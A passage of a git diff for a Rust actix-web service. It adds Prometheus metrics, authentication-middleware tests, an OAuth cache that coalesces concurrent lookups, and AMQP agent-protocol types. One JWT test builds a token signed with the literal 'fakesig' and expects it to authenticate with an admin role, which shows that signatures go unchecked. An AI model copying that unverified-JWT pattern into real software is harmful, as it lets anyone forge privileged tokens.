+        vec![0.01, 0.05, 0.1, 0.5, 1.0, 5.0, 10.0, 30.0, 60.0]
+    )
+    .expect("Failed to register pipe_execution_duration_seconds");
+
+    // ── DAG Execution Metrics ───────────────────────────────────
+    pub static ref DAG_EXECUTIONS_TOTAL: CounterVec = register_counter_vec!(
+        "dag_executions_total",
+        "Total number of DAG executions",
+        &["status"]
+    )
+    .expect("Failed to register dag_executions_total");
+
+    pub static ref DAG_STEPS_TOTAL: CounterVec = register_counter_vec!(
+        "dag_steps_total",
+        "Total number of DAG steps executed",
+        &["status", "step_type"]
+    )
+    .expect("Failed to register dag_steps_total");
+
+    // ── System Gauges ───────────────────────────────────────────
+    pub static ref ACTIVE_PIPE_INSTANCES: Gauge = register_gauge!(
+        "active_pipe_instances",
+        "Number of currently active pipe instances"
+    )
+    .expect("Failed to register active_pipe_instances");
+
+    pub static ref ACTIVE_AGENTS: Gauge = register_gauge!(
+        "active_agents",
+        "Number of currently active agents"
+    )
+    .expect("Failed to register active_agents");
+}
+
+/// Initialize all metrics (forces lazy_static registration).
+pub fn init() {
+    lazy_static::initialize(&HTTP_REQUESTS_TOTAL);
+    lazy_static::initialize(&HTTP_REQUEST_DURATION);
+    lazy_static::initialize(&PIPE_EXECUTIONS_TOTAL);
+    lazy_static::initialize(&PIPE_EXECUTION_DURATION);
+    lazy_static::initialize(&DAG_EXECUTIONS_TOTAL);
+    lazy_static::initialize(&DAG_STEPS_TOTAL);
+    lazy_static::initialize(&ACTIVE_PIPE_INSTANCES);
+    lazy_static::initialize(&ACTIVE_AGENTS);
+
+    // Pre-initialize CounterVec label combinations so they appear in /metrics output
+    // even before first use (Prometheus best practice: expose all known label sets).
+    PIPE_EXECUTIONS_TOTAL.with_label_values(&["success", "manual"]);
+    PIPE_EXECUTIONS_TOTAL.with_label_values(&["failure", "manual"]);
+    DAG_EXECUTIONS_TOTAL.with_label_values(&["success"]);
+    DAG_EXECUTIONS_TOTAL.with_label_values(&["failure"]);
+    DAG_STEPS_TOTAL.with_label_values(&["completed", "source"]);
+    DAG_STEPS_TOTAL.with_label_values(&["failed", "source"]);
+    PIPE_EXECUTION_DURATION.with_label_values(&["manual"]);
+}
diff --git a/src/middleware/authentication/method/f_agent.rs b/src/middleware/authentication/method/f_agent.rs
index 8d8f6de2..abad6020 100644
--- a/src/middleware/authentication/method/f_agent.rs
+++ b/src/middleware/authentication/method/f_agent.rs
@@ -12,9 +12,9 @@ async fn fetch_agent_by_id(db_pool: &PgPool, agent_id: Uuid) -> Result<models::A
 
     sqlx::query_as::<_, models::Agent>(
         r#"
-        SELECT id, deployment_hash, capabilities, version, system_info, 
+        SELECT id, deployment_hash, capabilities, version, system_info,
                last_heartbeat, status, created_at, updated_at
-        FROM agents 
+        FROM agents
         WHERE id = $1
         "#,
     )
@@ -159,6 +159,7 @@ pub async fn try_agent(req: &mut ServiceRequest) -> Result<bool, String> {
         last_name: format!("#{}", &agent.id.to_string()[..8]), // First 8 chars of UUID
         email: format!("agent+{}@system.local", agent.deployment_hash),
         email_confirmed: true,
+        mfa_verified: false,
         access_token: None,
     };
 
@@ -196,3 +197,50 @@ pub async fn try_agent(req: &mut ServiceRequest) -> Result<bool, String> {
 
     Ok(true)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::try_agent;
+    use actix_web::test::TestRequest;
+
+    #[actix_web::test]
+    async fn no_x_agent_id_header_skips_agent_auth() {
+        let mut req = TestRequest::default().to_srv_request();
+        let result = try_agent(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn invalid_uuid_in_x_agent_id_returns_error() {
+        let mut req = TestRequest::default()
+            .insert_header(("x-agent-id", "not-a-uuid"))
+            .to_srv_request();
+        let result = try_agent(&mut req).await;
+        assert_eq!(result, Err("Invalid agent ID format".to_string()));
+    }
+
+    #[actix_web::test]
+    async fn valid_uuid_but_no_authorization_header_returns_error() {
+        let mut req = TestRequest::default()
+            .insert_header(("x-agent-id", "550e8400-e29b-41d4-a716-446655440000"))
+            .to_srv_request();
+        let result = try_agent(&mut req).await;
+        assert_eq!(
+            result,
+            Err("Authorization header required for agent".to_string())
+        );
+    }
+
+    #[actix_web::test]
+    async fn valid_uuid_non_bearer_authorization_returns_error() {
+        let mut req = TestRequest::default()
+            .insert_header(("x-agent-id", "550e8400-e29b-41d4-a716-446655440000"))
+            .insert_header(("authorization", "Basic abc123"))
+            .to_srv_request();
+        let result = try_agent(&mut req).await;
+        assert_eq!(
+            result,
+            Err("Invalid Authorization header format".to_string())
+        );
+    }
+}
diff --git a/src/middleware/authentication/method/f_cookie.rs b/src/middleware/authentication/method/f_cookie.rs
index 164c74cb..136950c7 100644
--- a/src/middleware/authentication/method/f_cookie.rs
+++ b/src/middleware/authentication/method/f_cookie.rs
@@ -50,8 +50,8 @@ pub async fn try_cookie(req: &mut ServiceRequest) -> Result<bool, String> {
         }
     };
 
-    // Attach the access token to the user for proxy requests to other services
-    user.access_token = Some(token);
+    // Attach the access token to the user for proxy requests and MFA-sensitive checks.
+    user = user.with_token(token);
 
     // Control access using user role
     tracing::debug!("ACL check for role (cookie auth): {}", user.role.clone());
@@ -70,3 +70,25 @@ pub async fn try_cookie(req: &mut ServiceRequest) -> Result<bool, String> {
 
     Ok(true)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::try_cookie;
+    use actix_web::test::TestRequest;
+
+    #[actix_web::test]
+    async fn no_cookie_header_skips() {
+        let mut req = TestRequest::default().to_srv_request();
+        let result = try_cookie(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn cookie_without_access_token_skips() {
+        let mut req = TestRequest::default()
+            .insert_header(("cookie", "session=abc; csrf=xyz"))
+            .to_srv_request();
+        let result = try_cookie(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+}
diff --git a/src/middleware/authentication/method/f_hmac.rs b/src/middleware/authentication/method/f_hmac.rs
index 7e8ff810..aa7b63b3 100644
--- a/src/middleware/authentication/method/f_hmac.rs
+++ b/src/middleware/authentication/method/f_hmac.rs
@@ -111,3 +111,29 @@ pub async fn try_hmac(req: &mut ServiceRequest) -> Result<bool, String> {
 
     Ok(true)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::try_hmac;
+    use actix_web::test::TestRequest;
+
+    #[actix_web::test]
+    async fn no_stacker_id_header_skips_hmac() {
+        let mut req = TestRequest::default().to_srv_request();
+        let result = try_hmac(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn stacker_id_without_stacker_hash_returns_error() {
+        let mut req = TestRequest::default()
+            .insert_header(("stacker-id", "42"))
+            .to_srv_request();
+        let result = try_hmac(&mut req).await;
+        assert!(
+            matches!(result, Err(ref msg) if msg.contains("stacker-hash")),
+            "expected Err containing 'stacker-hash', got {:?}",
+            result
+        );
+    }
+}
diff --git a/src/middleware/authentication/method/f_jwt.rs b/src/middleware/authentication/method/f_jwt.rs
index eeb44496..c28b4342 100644
--- a/src/middleware/authentication/method/f_jwt.rs
+++ b/src/middleware/authentication/method/f_jwt.rs
@@ -59,3 +59,75 @@ pub async fn try_jwt(req: &mut ServiceRequest) -> Result<bool, String> {
     tracing::info!("JWT authentication successful for role: {}", claims.role);
     Ok(true)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::try_jwt;
+    use actix_web::test::TestRequest;
+    use actix_web::HttpMessage;
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+    use serde_json::json;
+    use std::sync::Arc;
+
+    fn make_jwt(role: &str, email: &str, exp: i64) -> String {
+        let header = URL_SAFE_NO_PAD.encode(json!({"alg":"HS256","typ":"JWT"}).to_string());
+        let payload =
+            URL_SAFE_NO_PAD.encode(json!({"role": role, "email": email, "exp": exp}).to_string());
+        format!("{}.{}.fakesig", header, payload)
+    }
+
+    #[actix_web::test]
+    async fn no_authorization_header_skips_jwt() {
+        let mut req = TestRequest::default().to_srv_request();
+        let result = try_jwt(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn non_bearer_scheme_skips_jwt() {
+        let mut req = TestRequest::default()
+            .insert_header(("authorization", "Basic dXNlcjpwYXNz"))
+            .to_srv_request();
+        let result = try_jwt(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn malformed_jwt_not_three_parts_skips() {
+        let mut req = TestRequest::default()
+            .insert_header(("authorization", "Bearer notajwt"))
+            .to_srv_request();
+        let result = try_jwt(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn expired_jwt_returns_error() {
+        let past_exp = chrono::Utc::now().timestamp() - 3600;
+        let token = make_jwt("admin_service", "x@x.com", past_exp);
+        let header_value = format!("Bearer {}", token);
+        let mut req = TestRequest::default()
+            .insert_header(("authorization", header_value.as_str()))
+            .to_srv_request();
+        let result = try_jwt(&mut req).await;
+        assert!(
+            result.is_err(),
+            "expected Err for expired JWT, got {:?}",
+            result
+        );
+    }
+
+    #[actix_web::test]
+    async fn valid_jwt_sets_user_in_extensions() {
+        let future_exp = chrono::Utc::now().timestamp() + 3600;
+        let token = make_jwt("admin_service", "admin@test.com", future_exp);
+        let header_value = format!("Bearer {}", token);
+        let mut req = TestRequest::default()
+            .insert_header(("authorization", header_value.as_str()))
+            .to_srv_request();
+        let result = try_jwt(&mut req).await;
+        assert_eq!(result, Ok(true));
+        let user_present = req.extensions().get::<Arc<crate::models::User>>().is_some();
+        assert!(user_present, "expected User to be inserted into extensions");
+    }
+}
diff --git a/src/middleware/authentication/method/f_oauth.rs b/src/middleware/authentication/method/f_oauth.rs
index d597d9fb..d13249b1 100644
--- a/src/middleware/authentication/method/f_oauth.rs
+++ b/src/middleware/authentication/method/f_oauth.rs
@@ -3,15 +3,17 @@ use crate::forms;
 use crate::middleware::authentication::get_header;
 use crate::models;
 use actix_web::{dev::ServiceRequest, web, HttpMessage};
+use futures::future::{BoxFuture, FutureExt, Shared};
 use reqwest::header::{ACCEPT, CONTENT_TYPE};
 use std::collections::HashMap;
 use std::sync::Arc;
 use std::time::{Duration, Instant};
-use tokio::sync::RwLock;
+use tokio::sync::{Mutex, RwLock};
 
 pub struct OAuthCache {
     ttl: Duration,
     entries: RwLock<HashMap<String, CachedUser>>,
+    in_flight: Mutex<HashMap<String, SharedOAuthFuture>>,
 }
 
 struct CachedUser {
@@ -19,11 +21,14 @@ struct CachedUser {
     expires_at: Instant,
 }
 
+type SharedOAuthFuture = Shared<BoxFuture<'static, Result<models::User, String>>>;
+
 impl OAuthCache {
     pub fn new(ttl: Duration) -> Self {
         Self {
             ttl,
             entries: RwLock::new(HashMap::new()),
+            in_flight: Mutex::new(HashMap::new()),
         }
     }
 
@@ -55,6 +60,41 @@ impl OAuthCache {
         let mut entries = self.entries.write().await;
         entries.insert(token, CachedUser { user, expires_at });
     }
+
+    pub async fn get_or_fetch<F, Fut>(
+        &self,
+        token: String,
+        fetch: F,
+    ) -> Result<models::User, String>
+    where
+        F: FnOnce() -> Fut,
+        Fut: std::future::Future<Output = Result<models::User, String>> + Send + 'static,
+    {
+        if let Some(user) = self.get(&token).await {
+            return Ok(user);
+        }
+
+        let shared = {
+            let mut in_flight = self.in_flight.lock().await;
+            if let Some(existing) = in_flight.get(&token) {
+                existing.clone()
+            } else {
+                let future = fetch().boxed().shared();
+                in_flight.insert(token.clone(), future.clone());
+                future
+            }
+        };
+
+        let result = shared.await;
+        if let Ok(user) = &result {
+            self.insert(token.clone(), user.clone()).await;
+        }
+
+        let mut in_flight = self.in_flight.lock().await;
+        in_flight.remove(&token);
+
+        result
+    }
 }
 
 fn try_extract_token(authentication: String) -> Result<String, String> {
@@ -83,19 +123,18 @@ pub async fn try_oauth(req: &mut ServiceRequest) -> Result<bool, String> {
     let settings = req.app_data::<web::Data<Settings>>().unwrap();
     let http_client = req.app_data::<web::Data<reqwest::Client>>().unwrap();
     let cache = req.app_data::<web::Data<OAuthCache>>().unwrap();
-    let mut user = match cache.get(&token).await {
-        Some(user) => user,
-        None => {
-            let user = fetch_user(http_client.get_ref(), settings.auth_url.as_str(), &token)
-                .await
-                .map_err(|err| format!("{err}"))?;
-            cache.insert(token.clone(), user.clone()).await;
-            user
-        }
-    };
+    let mut user = cache
+        .get_or_fetch(token.clone(), {
+            let auth_url = settings.auth_url.clone();
+            let oauth_client = http_client.get_ref().clone();
+            let token = token.clone();
+            move || async move { fetch_user(&oauth_client, auth_url.as_str(), &token).await }
+        })
+        .await
+        .map_err(|err| format!("{err}"))?;
 
-    // Attach the access token to the user for proxy requests to other services
-    user.access_token = Some(token);
+    // Attach the access token to the user for proxy requests and MFA-sensitive checks.
+    user = user.with_token(token);
 
     // control access using user role
     tracing::debug!("ACL check for role: {}", user.role.clone());
@@ -140,6 +179,7 @@ pub async fn fetch_user(
                     email: "test@example.com".to_string(),
                     role: "group_user".to_string(),
                     email_confirmed: true,
+                    mfa_verified: false,
                     access_token: None,
                 };
                 return Ok(user);
@@ -158,3 +198,172 @@ pub async fn fetch_user(
         .map_err(|_err| "can't parse the response body".to_string())?
         .try_into()
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::middleware::authentication::Manager;
+    use actix_web::{get, post, web, App, HttpRequest, HttpResponse, HttpServer, Responder};
+    use std::net::TcpListener;
+    use std::sync::{
+        atomic::{AtomicUsize, Ordering},
+        Arc,
+    };
+
+    #[derive(Clone)]
+    struct DelayedAuthState {
+        call_count: Arc<AtomicUsize>,
+        delay: Duration,
+    }
+
+    struct DelayedAuthServer {
+        auth_url: String,
+        call_count: Arc<AtomicUsize>,
+    }
+
+    impl DelayedAuthServer {
+        fn call_count(&self) -> usize {
+            self.call_count.load(Ordering::SeqCst)
+        }
+    }
+
+    #[get("")]
+    async fn delayed_mock_auth(
+        req: HttpRequest,
+        state: web::Data<DelayedAuthState>,
+    ) -> actix_web::Result<impl Responder> {
+        state.call_count.fetch_add(1, Ordering::SeqCst);
+        tokio::time::sleep(state.delay).await;
+
+        let auth_header = req
+            .headers()
+            .get("Authorization")
+            .and_then(|value| value.to_str().ok())
+            .unwrap_or("");
+
+        let mut user = forms::user::User::default();
+        user.id = "test_user_id".to_string();
+        user.first_name = Some("Test".to_string());
+        user.last_name = Some("User".to_string());
+        user.email = "test@example.com".to_string();
+        user.role = if auth_header.contains("admin") {
+            "group_admin".to_string()
+        } else {
+            "group_user".to_string()
+        };
+        user.email_confirmed = true;
+
+        Ok(web::Json(forms::UserForm { user }))
+    }
+
+    async fn spawn_delayed_auth_server(delay: Duration) -> DelayedAuthServer {
+        let listener = TcpListener::bind("127.0.0.1:0").expect("bind delayed auth server");
+        let port = listener.local_addr().unwrap().port();
+        let state = DelayedAuthState {
+            call_count: Arc::new(AtomicUsize::new(0)),
+            delay,
+        };
+        let call_count = state.call_count.clone();
+
+        let _ = tokio::spawn(
+            HttpServer::new(move || {
+                App::new()
+                    .app_data(web::Data::new(state.clone()))
+                    .service(web::scope("/me").service(delayed_mock_auth))
+            })
+            .listen(listener)
+            .unwrap()
+            .run(),
+        );
+
+        DelayedAuthServer {
+            auth_url: format!("http://127.0.0.1:{port}/me"),
+            call_count,
+        }
+    }
+
+    #[post("")]
+    async fn protected_commands(_user: web::ReqData<Arc<models::User>>) -> impl Responder {
+        HttpResponse::Created().finish()
+    }
+
+    async fn spawn_auth_guarded_app(
+        auth_url: String,
+        auth_request_timeout_secs: u64,
+        auth_connect_timeout_secs: u64,
+    ) -> String {
+        let listener = TcpListener::bind("127.0.0.1:0").expect("bind protected app");
+        let port = listener.local_addr().unwrap().port();
+        let settings = web::Data::new(Settings {
+            auth_url,
+            auth_request_timeout_secs,
+            auth_connect_timeout_secs,
+            ..Settings::default()
+        });
+        let oauth_http_client = web::Data::new(
+            reqwest::Client::builder()
+                .pool_idle_timeout(Duration::from_secs(90))
+                .timeout(Duration::from_secs(auth_request_timeout_secs))
+                .connect_timeout(Duration::from_secs(auth_connect_timeout_secs))
+                .build()
+                .expect("build oauth client"),
+        );
+        let oauth_cache = web::Data::new(OAuthCache::new(Duration::from_secs(60)));
+
+        let _ = tokio::spawn(
+            HttpServer::new(move || {
+                App::new()
+                    .wrap(Manager::new())
+                    .app_data(settings.clone())
+                    .app_data(oauth_http_client.clone())
+                    .app_data(oauth_cache.clone())
+                    .service(web::scope("/api/v1/commands").service(protected_commands))
+            })
+            .listen(listener)
+            .unwrap()
+            .run(),
+        );
+
+        format!("http://127.0.0.1:{port}")
+    }
+
+    #[tokio::test]
+    async fn concurrent_same_token_requests_share_one_auth_lookup() {
+        let auth_server = spawn_delayed_auth_server(Duration::from_millis(400)).await;
+        let address = spawn_auth_guarded_app(auth_server.auth_url.clone(), 3, 1).await;
+
+        let client = reqwest::Client::new();
+        let started_at = std::time::Instant::now();
+        let mut tasks = Vec::new();
+        for _ in 0..5 {
+            let client = client.clone();
+            let address = address.clone();
+            tasks.push(tokio::spawn(async move {
+                client
+                    .post(format!("{address}/api/v1/commands"))
+                    .header("Authorization", "Bearer shared-auth-token")
+                    .json(&serde_json::json!({}))
+                    .send()
+                    .await
+            }));
+        }
+
+        for task in tasks {
+            let response = task
+                .await
+                .expect("join request task")
+                .expect("send request");
+            assert_eq!(response.status(), 201);
+        }
+
+        assert!(
+            started_at.elapsed() < Duration::from_secs(2),
+            "concurrent requests should complete within a single auth round trip"
+        );
+        assert_eq!(
+            auth_server.call_count(),
+            1,
+            "identical bearer tokens should share one upstream auth lookup"
+        );
+    }
+}
diff --git a/src/middleware/authentication/method/f_query.rs b/src/middleware/authentication/method/f_query.rs
index 374c934c..19dd52b4 100644
--- a/src/middleware/authentication/method/f_query.rs
+++ b/src/middleware/authentication/method/f_query.rs
@@ -57,7 +57,7 @@ pub async fn try_query(req: &mut ServiceRequest) -> Result<bool, String> {
         }
     };
 
-    user.access_token = Some(token);
+    user = user.with_token(token);
 
     tracing::debug!("ACL check for role (query auth): {}", user.role.clone());
     let acl_vals = actix_casbin_auth::CasbinVals {
@@ -75,3 +75,32 @@ pub async fn try_query(req: &mut ServiceRequest) -> Result<bool, String> {
 
     Ok(true)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::try_query;
+    use actix_web::test::TestRequest;
+
+    #[actix_web::test]
+    async fn non_mcp_path_skips_query_auth() {
+        let mut req = TestRequest::get().uri("/api/v1/project").to_srv_request();
+        let result = try_query(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn mcp_path_no_query_skips() {
+        let mut req = TestRequest::get().uri("/mcp/sse").to_srv_request();
+        let result = try_query(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+
+    #[actix_web::test]
+    async fn mcp_path_query_without_access_token_skips() {
+        let mut req = TestRequest::get()
+            .uri("/mcp/sse?session_id=abc&foo=bar")
+            .to_srv_request();
+        let result = try_query(&mut req).await;
+        assert_eq!(result, Ok(false));
+    }
+}
diff --git a/src/middleware/authorization.rs b/src/middleware/authorization.rs
index 92a54219..89c2e255 100644
--- a/src/middleware/authorization.rs
+++ b/src/middleware/authorization.rs
@@ -50,7 +50,6 @@ pub async fn try_new(db_connection_address: String) -> Result<CasbinService, Err
 
     Ok(casbin_service)
 }
-
 fn start_policy_reloader(
     casbin_service: CasbinService,
     policy_pool: PgPool,
diff --git a/src/middleware/mod.rs b/src/middleware/mod.rs
index 6d342506..f3c9c452 100644
--- a/src/middleware/mod.rs
+++ b/src/middleware/mod.rs
@@ -1,2 +1,3 @@
 pub mod authentication;
 pub mod authorization;
+pub mod prometheus;
diff --git a/src/middleware/prometheus.rs b/src/middleware/prometheus.rs
new file mode 100644
index 00000000..9f68ad9c
--- /dev/null
+++ b/src/middleware/prometheus.rs
@@ -0,0 +1,101 @@
+use actix_web::dev::{Service, ServiceRequest, ServiceResponse, Transform};
+use futures_util::future::{ok, LocalBoxFuture, Ready};
+use std::task::{Context, Poll};
+
+use crate::metrics::{HTTP_REQUESTS_TOTAL, HTTP_REQUEST_DURATION};
+
+pub struct PrometheusMetrics;
+
+impl<S, B> Transform<S, ServiceRequest> for PrometheusMetrics
+where
+    S: Service<ServiceRequest, Response = ServiceResponse<B>, Error = actix_web::Error> + 'static,
+    B: 'static,
+{
+    type Response = ServiceResponse<B>;
+    type Error = actix_web::Error;
+    type Transform = PrometheusMetricsMiddleware<S>;
+    type InitError = ();
+    type Future = Ready<Result<Self::Transform, Self::InitError>>;
+
+    fn new_transform(&self, service: S) -> Self::Future {
+        ok(PrometheusMetricsMiddleware { service })
+    }
+}
+
+pub struct PrometheusMetricsMiddleware<S> {
+    service: S,
+}
+
+impl<S, B> Service<ServiceRequest> for PrometheusMetricsMiddleware<S>
+where
+    S: Service<ServiceRequest, Response = ServiceResponse<B>, Error = actix_web::Error> + 'static,
+    B: 'static,
+{
+    type Response = ServiceResponse<B>;
+    type Error = actix_web::Error;
+    type Future = LocalBoxFuture<'static, Result<Self::Response, Self::Error>>;
+
+    fn poll_ready(&self, cx: &mut Context<'_>) -> Poll<Result<(), Self::Error>> {
+        self.service.poll_ready(cx)
+    }
+
+    fn call(&self, req: ServiceRequest) -> Self::Future {
+        let method = req.method().to_string();
+        // Normalize path to avoid high-cardinality labels (replace UUIDs with {id})
+        let path = normalize_path(req.path());
+        let timer = HTTP_REQUEST_DURATION
+            .with_label_values(&[&method, &path])
+            .start_timer();
+
+        let fut = self.service.call(req);
+
+        Box::pin(async move {
+            let res = fut.await?;
+            let status = res.status().as_u16().to_string();
+            timer.observe_duration();
+            HTTP_REQUESTS_TOTAL
+                .with_label_values(&[&method, &path, &status])
+                .inc();
+            Ok(res)
+        })
+    }
+}
+
+/// Replace UUID segments with `{id}` to prevent label explosion.
+fn normalize_path(path: &str) -> String {
+    let uuid_re = regex::Regex::new(
+        r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}",
+    )
+    .expect("invalid regex");
+    let numeric_re = regex::Regex::new(r"/\d+(/|$)").expect("invalid regex");
+
+    let result = uuid_re.replace_all(path, "{id}");
+    let result = numeric_re.replace_all(&result, "/{id}$1");
+    result.to_string()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_normalize_uuid_path() {
+        assert_eq!(
+            normalize_path("/api/v1/pipes/550e8400-e29b-41d4-a716-446655440000/dag/steps"),
+            "/api/v1/pipes/{id}/dag/steps"
+        );
+    }
+
+    #[test]
+    fn test_normalize_numeric_path() {
+        assert_eq!(
+            normalize_path("/api/v1/projects/42/deploy"),
+            "/api/v1/projects/{id}/deploy"
+        );
+    }
+
+    #[test]
+    fn test_normalize_no_ids() {
+        assert_eq!(normalize_path("/health_check"), "/health_check");
+    }
+}
diff --git a/src/models/agent_protocol.rs b/src/models/agent_protocol.rs
new file mode 100644
index 00000000..be622bf8
--- /dev/null
+++ b/src/models/agent_protocol.rs
@@ -0,0 +1,263 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+use serde_json::Value as JsonValue;
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Agent Protocol — AMQP message types for step execution
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Command sent from Stacker to agent-executor via AMQP.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct StepCommand {
+    pub execution_id: Uuid,
+    pub step_id: Uuid,
+    pub step_name: String,
+    pub step_type: String,
+    pub config: JsonValue,
+    pub input_data: JsonValue,
+    pub pipe_instance_id: Uuid,
+    pub deployment_hash: String,
+    #[serde(default)]
+    pub retry_policy: Option<RetryPolicy>,
+    pub timestamp: DateTime<Utc>,
+}
+
+/// Result sent from agent-executor back to Stacker via AMQP.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct StepResultMsg {
+    pub execution_id: Uuid,
+    pub step_id: Uuid,
+    pub status: StepStatus,
+    #[serde(default)]
+    pub output_data: Option<JsonValue>,
+    #[serde(default)]
+    pub error: Option<String>,
+    pub duration_ms: i64,
+    pub timestamp: DateTime<Utc>,
+}
+
+/// Retry policy configuration for step execution.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct RetryPolicy {
+    pub max_retries: u32,
+    pub backoff_base_ms: u64,
+    pub backoff_max_ms: u64,
+}
+
+impl Default for RetryPolicy {
+    fn default() -> Self {
+        Self {
+            max_retries: 3,
+            backoff_base_ms: 1000,
+            backoff_max_ms: 30_000,
+        }
+    }
+}
+
+/// Step execution status.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum StepStatus {
+    Completed,
+    Failed,
+    Skipped,
+    Running,
+}
+
+impl std::fmt::Display for StepStatus {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::Completed => write!(f, "completed"),
+            Self::Failed => write!(f, "failed"),
+            Self::Skipped => write!(f, "skipped"),
+            Self::Running => write!(f, "running"),
+        }
+    }
+}
+
+/// AMQP routing constants.
+pub mod routing {
+    pub const EXCHANGE: &str = "pipe_execution";
+    pub const EXECUTE_PREFIX: &str = "pipe.step.execute";
+    pub const RESULT_PREFIX: &str = "pipe.step.result";
+
+    pub fn execute_key(deployment_hash: &str) -> String {
+        format!("{}.{}", EXECUTE_PREFIX, deployment_hash)
+    }
+
+    pub fn result_key(deployment_hash: &str) -> String {
+        format!("{}.{}", RESULT_PREFIX, deployment_hash)
+    }
+
+    pub fn agent_queue(deployment_hash: &str) -> String {
+        format!("agent_executor_{}", deployment_hash)
+    }
+}
+
+impl StepCommand {
+    pub fn new(
+        execution_id: Uuid,
+        step_id: Uuid,
+        step_name: String,
+        step_type: String,
+        config: JsonValue,
+        input_data: JsonValue,
+        pipe_instance_id: Uuid,
+        deployment_hash: String,
+    ) -> Self {
+        Self {
+            execution_id,
+            step_id,
+            step_name,
+            step_type,
+            config,
+            input_data,
+            pipe_instance_id,
+            deployment_hash,
+            retry_policy: Some(RetryPolicy::default()),
+            timestamp: Utc::now(),
+        }
+    }
+}
+
+impl StepResultMsg {
+    pub fn success(
+        execution_id: Uuid,
+        step_id: Uuid,
+        output_data: JsonValue,
+        duration_ms: i64,
+    ) -> Self {
+        Self {
+            execution_id,
+            step_id,
+            status: StepStatus::Completed,
+            output_data: Some(output_data),
+            error: None,
+            duration_ms,
+            timestamp: Utc::now(),
+        }
+    }
+
+    pub fn failure(execution_id: Uuid, step_id: Uuid, error: String, duration_ms: i64) -> Self {
+        Self {
+            execution_id,
+            step_id,
+            status: StepStatus::Failed,
+            output_data: None,
+            error: Some(error),
+            duration_ms,
+            timestamp: Utc::now(),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[test]
+    fn step_command_serde_roundtrip() {
+        let cmd = StepCommand::new(
+            Uuid::new_v4(),
+            Uuid::new_v4(),
+            "fetch_data".to_string(),
+            "source".to_string(),
+            json!({"url": "https://api.example.com/data"}),
+            json!({}),
+            Uuid::new_v4(),
+            "deploy-abc".to_string(),
+        );
+
+        let serialized = serde_json::to_string(&cmd).unwrap();
+        let deserialized: StepCommand = serde_json::from_str(&serialized).unwrap();
+
+        assert_eq!(cmd.execution_id, deserialized.execution_id);
+        assert_eq!(cmd.step_id, deserialized.step_id);
+        assert_eq!(cmd.step_name, deserialized.step_name);
+        assert_eq!(cmd.step_type, deserialized.step_type);
+        assert_eq!(cmd.deployment_hash, deserialized.deployment_hash);
+    }
+
+    #[test]
+    fn step_result_success_serde_roundtrip() {
+        let result =
+            StepResultMsg::success(Uuid::new_v4(), Uuid::new_v4(), json!({"rows": 42}), 150);
+
+        let serialized = serde_json::to_string(&result).unwrap();
+        let deserialized: StepResultMsg = serde_json::from_str(&serialized).unwrap();
+
+        assert_eq!(result.execution_id, deserialized.execution_id);
+        assert_eq!(result.status, StepStatus::Completed);
+        assert_eq!(deserialized.duration_ms, 150);
+        assert!(deserialized.error.is_none());
+    }
+
+    #[test]
+    fn step_result_failure_serde_roundtrip() {
+        let result = StepResultMsg::failure(
+            Uuid::new_v4(),
+            Uuid::new_v4(),
+            "connection refused".to_string(),
+            500,
+        );
+
+        let serialized = serde_json::to_string(&result).unwrap();
+        let deserialized: StepResultMsg = serde_json::from_str(&serialized).unwrap();
+
+        assert_eq!(deserialized.status, StepStatus::Failed);
+        assert_eq!(deserialized.error.as_deref(), Some("connection refused"));
+        assert!(deserialized.output_data.is_none());
+    }
+
+    #[test]
+    fn retry_policy_defaults() {
+        let policy = RetryPolicy::default();
+        assert_eq!(policy.max_retries, 3);
+        assert_eq!(policy.backoff_base_ms, 1000);
+        assert_eq!(policy.backoff_max_ms, 30_000);
+    }
+
+    #[test]
+    fn routing_keys() {
+        assert_eq!(
+            routing::execute_key("deploy-abc"),
+            "pipe.step.execute.deploy-abc"
+        );
+        assert_eq!(
+            routing::result_key("deploy-abc"),
+            "pipe.step.result.deploy-abc"
+        );
+        assert_eq!(
+            routing::agent_queue("deploy-abc"),
+            "agent_executor_deploy-abc"
+        );
+    }
+
+    #[test]
+    fn step_status_display() {
+        assert_eq!(StepStatus::Completed.to_string(), "completed");
+        assert_eq!(StepStatus::Failed.to_string(), "failed");
+        assert_eq!(StepStatus::Skipped.to_string(), "skipped");
+        assert_eq!(StepStatus::Running.to_string(), "running");
+    }
+
+    #[test]
+    fn step_command_without_retry_policy() {
+        let json_str = r#"{
+            "execution_id": "550e8400-e29b-41d4-a716-446655440000",
